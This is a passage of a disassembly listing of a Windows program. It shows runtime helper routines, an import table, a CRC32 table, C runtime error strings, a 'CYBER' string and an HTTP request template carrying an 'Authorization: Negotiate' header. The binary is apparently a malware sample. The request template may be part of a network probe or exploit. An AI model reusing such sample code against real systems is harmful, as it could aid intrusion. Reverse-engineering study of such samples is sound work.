		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 281102Fh
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 26410DBh
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 26410DBh
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C2FC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB590
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DB590, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2600000h
		nop
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 281102Fh
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	near ptr 281102Fh
		nop
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB334


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: ___:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: ___:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: ___:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
		dd 25C0000h, 25D0000h, 25E0000h, 25E06C7h, 25F0000h, 25F0997h
		dd 25F09E1h, 25F0E97h, 2600000h, 2610000h, 26108C0h, 2620000h
		dd 26202CBh, 2620AB5h, 2620CF0h
dword_42703C	dd 2620D0Bh		; DATA XREF: ___:004231D9r
		dd 2630000h, 26303BBh, 2630402h, 2630502h, 2640000h, 26410DBh
		dd 2650000h, 26503C4h, 2650898h, 77E75CB5h
dword_427068	dd 26508ACh		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 2650B82h, 2660000h, 2660A28h
dword_427078	dd 2660F23h		; DATA XREF: sub_40111D+29r
					; sub_401ACD+318Br ...
dword_42707C	dd 2670000h		; DATA XREF: ___:004015E2r
					; sub_410CD5+32r
		dd 26701D0h
dword_427084	dd 2670287h		; DATA XREF: sub_4196BC+B9r
		dd 2670833h
dword_42708C	dd 2670859h		; DATA XREF: sub_410FF8:loc_411089r
dword_427090	dd 2670894h		; DATA XREF: ___:loc_4013DCr
		dd 2670BA6h, 2670CEEh
dword_42709C	dd 2670DBEh		; DATA XREF: sub_409B12+2r
		dd 2670F10h, 2680000h
dword_4270A8	dd 2680600h		; DATA XREF: ___:0040124Dr
					; sub_41A4D1+8Cr
dword_4270AC	dd 268069Bh		; DATA XREF: sub_410CD5:loc_410DC1r
		dd 2690000h, 2690A12h
dword_4270B8	dd 2690AB1h		; DATA XREF: sub_409B12:loc_40A020r
dword_4270BC	dd 26A0000h		; DATA XREF: sub_409B12+11r
					; sub_416F1A+60r ...
		dd 26B0000h, 26C0000h, 26C060Eh, 26D0000h, 77F7E300h, 77F7E21Fh
		dd 26D0639h, 26D07DEh, 26E0000h, 26E088Dh
dword_4270E8	dd 26F0000h		; DATA XREF: sub_410FF8+Br
dword_4270EC	dd 26F09D7h		; DATA XREF: sub_418293+36r
		dd 26F0C45h, 2700000h
dword_4270F8	dd 27006B4h		; DATA XREF: sub_410F1F+3Ar
					; sub_419C64+79r
dword_4270FC	dd 2710000h		; DATA XREF: sub_410E26+23r
					; sub_419C64+3Br
		dd 2720000h, 2730000h, 2730AA1h, 2740000h, 27407E4h, 2750000h
		dd 2750371h, 2760000h, 2770000h, 277040Eh, 2770514h, 2770661h
		dd 2780000h, 27803CCh, 278081Dh
dword_42713C	dd 2790000h		; DATA XREF: sub_416F1A+BCr
		dd 27A0000h
dword_427144	dd 27B0000h		; DATA XREF: sub_4170EC+21r
					; sub_417275+4Ar
dword_427148	dd 27B09B3h		; DATA XREF: sub_4170EC+10r
					; sub_417275+40r ...
		dd 27B0A29h
dword_427150	dd 27B0C83h		; DATA XREF: sub_417275+56r
		dd 27C0000h, 27D0000h, 27E0000h, 27E073Ah, 27E0C6Dh, 27F0000h
		dd 27F01B9h, 27F07AEh, 2800000h, 2810000h
dword_42717C	dd 281102Fh		; DATA XREF: sub_418B58+13r
					; ___:0042324Er ...
dword_427180	dd 2820000h		; DATA XREF: sub_418C2A+Fr
					; sub_41D834+54r ...
		dd 2830000h, 2830484h, 28308E3h, 2830C68h, 2840000h, 2850000h
		dd 28520CCh, 2860000h, 2870000h, 2880000h, 2881B36h, 2881B66h
		dd 2890000h, 2890EC1h, 28A0000h
dword_4271C0	dd 28A05AAh		; DATA XREF: sub_41DEA2+240r
dword_4271C4	dd 28A06F1h		; DATA XREF: sub_41E976:loc_41E9A7r
		dd 28A0875h, 28B0000h, 28B0701h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0B2h, 71h
		align 10h
		dd 71AB4122h
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412660+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h
		dd 71AB1746h, 71AB3E5Dh
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DFE2+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 0
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: sub_401ACD+347Co
					; sub_401ACD+356Co ...
		align 10h
aCyber_0	db 'CYBER',0            ; DATA XREF: sub_401ACD+389Co
					; sub_401ACD+38D2o ...
		align 4
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427688	dq 1.388888888888889e-2	; DATA XREF: sub_40D030+2Fr
dbl_427690	dq 1.666666666666667e-1	; DATA XREF: sub_40D030+15r
dword_427698	dd 0FFFFFFFFh		; DATA XREF: sub_40D07C+16Fr
					; sub_40D4B0r ...
		align 10h
dbl_4276A0	dq 1.333333333333333	; DATA XREF: sub_40D07C+79r
dword_4276A8	dd 0			; DATA XREF: sub_40D21E+4Do
					; sub_40D560+5Bo ...
flt_4276AC	dd 5.0e-1		; DATA XREF: ___:0040DD33r
dbl_4276B0	dq 9.765625e-4		; DATA XREF: ___:004166B6r
					; ___:004166D1r ...
dbl_4276B8	dq -1.52587890625e-4	; DATA XREF: sub_417ADD+3E5r
dbl_4276C0	dq 3.0517578125e-4	; DATA XREF: sub_417ADD+3C5r
dbl_4276C8	dq -3.0517578125e-4	; DATA XREF: sub_417ADD+342r
					; sub_417ADD+3A7r
dbl_4276D0	dq 1.52587890625e-4	; DATA XREF: sub_417ADD+271r
dbl_4276D8	dq -1.739501953125e-3	; DATA XREF: sub_417ADD+24Br
					; sub_417ADD+2D5r ...
dbl_4276E0	dq 3.11279296875e-3	; DATA XREF: sub_417ADD+E1r
dbl_4276E8	dq 3.0517578125e-5	; DATA XREF: sub_417ADD+AEr
					; sub_417ADD+138r ...
dbl_4276F0	dq 6.103515625e-5	; DATA XREF: sub_417ADD+93r
					; sub_417ADD+308r
dbl_4276F8	dq 2.288818359375e-3	; DATA XREF: sub_417ADD+21r
dbl_427700	dq -3.0517578125e-5	; DATA XREF: sub_418684+2Br
flt_427708	dd 9.765625e-4		; DATA XREF: sub_41A4D1+1B0r
flt_42770C	dd 8.0			; DATA XREF: sub_41A4D1+1AAr
flt_427710	dd 0.0			; DATA XREF: sub_41A4D1+171r
flt_427714	dd 1.0e-3		; DATA XREF: sub_41A4D1+168r
dbl_427718	dq 1.0			; DATA XREF: sub_41C679+6Cr
					; sub_41C7BF+6Cr ...
		dd 0FFFFFFFFh, 41DA0Ah,	41DA1Eh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o
		align 4
byte_42775C	db 6			; DATA XREF: sub_41F69F:loc_41F6F6r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43C514o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43C510o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43C78Co
dbl_427880	dq 0.0			; DATA XREF: sub_42135F+8Cr
					; sub_42135F+ACr ...
dbl_427888	dq 4.195835e6		; DATA XREF: sub_421874+Fr
dbl_427890	dq 3.145727e6		; DATA XREF: sub_421874+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_4218B2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_4219D9+93o
		align 4
dword_4278C8	dd 0FFFFFFFFh, 4220C4h,	4220CEh, 0 ; DATA XREF:	sub_42205D+5o
dword_4278D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42218C+5o
		dd offset loc_42224A
		align 8
		dd offset sub_422228
		dd offset sub_422232
dword_4278F0	dd 0FFFFFFFFh, 42247Ah,	42247Eh, 0 ; DATA XREF:	sub_4222C2+5o
dword_427900	dd 0FFFFFFFFh, 4224DCh,	4224E5h, 0 ; DATA XREF:	sub_422486+5o
dword_427910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42255C+5o
		dd offset loc_4225AD
		align 10h
		dd offset loc_422599
		dd offset loc_42259D
dword_427928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4225B2+5o
		dd offset loc_422603
		align 8
		dd offset loc_4225EF
		dd offset loc_4225F3
dword_427940	dd 2 dup(0)		; DATA XREF: sub_422ACA+36o
					; sub_423CEC+39o ...
dword_427948	dd 0FFFFFFFFh, 422BDAh,	422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h
					; DATA XREF: sub_422ACA+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43C95Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o
		align 10h
asc_427C10	db 0Ah			; DATA XREF: sub_4235C9+F1o
		db 0Ah,0
		align 4
